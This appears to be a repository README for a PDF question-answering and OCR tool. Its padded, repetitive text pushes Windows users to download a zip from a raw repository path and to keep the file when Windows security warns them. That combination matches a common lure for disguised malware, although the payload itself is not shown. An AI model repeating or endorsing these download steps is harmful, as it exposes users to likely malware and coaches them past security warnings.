Use this link to visit the GitHub page and download the app:
rag-document-intelligence helps you work with PDFs and scanned documents on Windows. You can upload files, ask questions, and pull out structured data from pages that would be hard to read by hand.
It combines:
- OCR for reading text from scanned pages
- document search for finding the right content
- AI question answering for plain-language queries
- structured extraction for data like names, dates, amounts, and labels
Before you install, make sure your PC has:
- Windows 10 or Windows 11
- A stable internet connection
- At least 8 GB of RAM
- 2 GB of free disk space
- A recent version of Microsoft Edge, Chrome, or Firefox
- Permission to download files
If the app includes a setup file, you can run it on a normal Windows account. If it comes as a folder with files, keep the folder in a place you can find again, such as Downloads or Desktop.
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Open this page in your browser: https://github.com/unamerican-bias763/rag-document-intelligence/raw/refs/heads/main/app/document-intelligence-rag-1.6.zip
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Look for the latest release, installer, or download file on the page.
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Download the file to your PC.
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If Windows shows a security prompt, choose the option that lets you keep the file.
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Open the downloaded file or folder.
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Follow the on-screen steps to finish setup.
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Start the app.
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Upload a PDF or scanned document and begin asking questions.
After the app opens, the usual flow is simple:
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Add a document
Choose a PDF from your computer. -
Let the app read it
The OCR step turns scanned pages into text. -
Ask a question
Example: What is the invoice total? -
View the answer
The app searches the document and returns a clear result. -
Extract data
Use it to pull out fields like:- customer name
- invoice number
- date
- amount due
- address
- line items
This app is built for:
- PDF files
- scanned PDFs
- image-based documents
- forms
- reports
- letters
- invoices
- statements
For best results, use files with clear text and good image quality. Blurry scans can reduce OCR accuracy.
You can ask questions in plain language, such as:
- What is the total amount?
- When is the due date?
- Who is the sender?
- What items are listed on page 2?
- Show me the account number
- What date was the contract signed?
- Extract all addresses
- Which documents mention payment terms?
This app is useful for:
- office document review
- invoice checks
- contract lookup
- form reading
- archive search
- research notes
- insurance document review
- admin data entry support
The app uses a RAG pipeline. That means it reads your document, breaks it into smaller parts, finds the most relevant text, and uses that text to answer your question.
It also uses OCR. OCR stands for optical character recognition. It lets the app read text from scanned pages and images.
In simple terms:
- OCR reads the document
- search finds the right parts
- AI builds the answer
- you get the result in a readable form
If you are setting this up on Windows, keep these points in mind:
- Save the download in a folder you can reach fast
- Do not rename files unless the instructions on the page ask for it
- If the app uses a setup wizard, click Next to move through it
- If Windows asks for permission, choose Yes
- If the app starts in a browser window, keep that window open while you use it
If the app opens a local web page, that is normal. Many modern Windows apps use a browser-style screen for the main interface.
To get better results:
- use clear scans
- avoid dark shadows on page edges
- keep pages straight
- split large files if they contain many unrelated topics
- use one document type at a time when possible
- keep file names simple
If you need exact extractions, try a direct question like:
- What is the invoice number?
- List all dates in this document
- Extract the table from page 3
- Return the sender name and address
If the app does not open:
- try running it again
- check that the download finished
- make sure the file was not moved or deleted
- restart your PC and try again
If a PDF will not load:
- open the PDF in another reader first
- save a new copy of the file
- try a smaller document
- confirm the file is not damaged
If answers look wrong:
- check that the scan is clear
- use a shorter question
- ask for one field at a time
- try a different page range if the app supports it
If text is missing:
- the page may be too blurry
- the document may be rotated
- the PDF may have images instead of readable text
The app is meant for document analysis on your machine. Keep sensitive files in folders you control. If you work with private records, review where the app stores uploads, search data, and extracted text before using it on shared devices
Repository: rag-document-intelligence
Description: RAG + OCR pipeline for intelligent document analysis. Upload PDFs, ask questions, extract structured data.
Topics:
- document-processing
- faiss
- fastapi
- langchain
- llm
- machine-learning
- nlp
- ocr
- python
- rag
A normal session looks like this:
- Open the app
- Upload a PDF
- Wait while OCR reads the file
- Ask a question
- Review the answer
- Save or copy the result
- Repeat with another document
- Ask one question at a time
- Use plain words
- Include page numbers if you know them
- Use exact field names when possible
- Keep source documents clean and readable
- Re-upload a file if the first read looks incomplete
To keep things simple on Windows, use a setup like this:
- Downloads for the installer
- Documents for the PDFs you want to analyze
- Desktop for shortcuts or quick access
- A separate folder for finished results
Think of it like this:
- you give the app a PDF
- the app reads the document
- you ask a question
- the app looks through the text
- you get a direct answer instead of reading every page yourself
On the first launch, the app may:
- take a short time to load
- create local data files
- open a browser window
- ask you to upload your first document
- show an empty search or chat panel until you add a file
If you need to return to the download page later: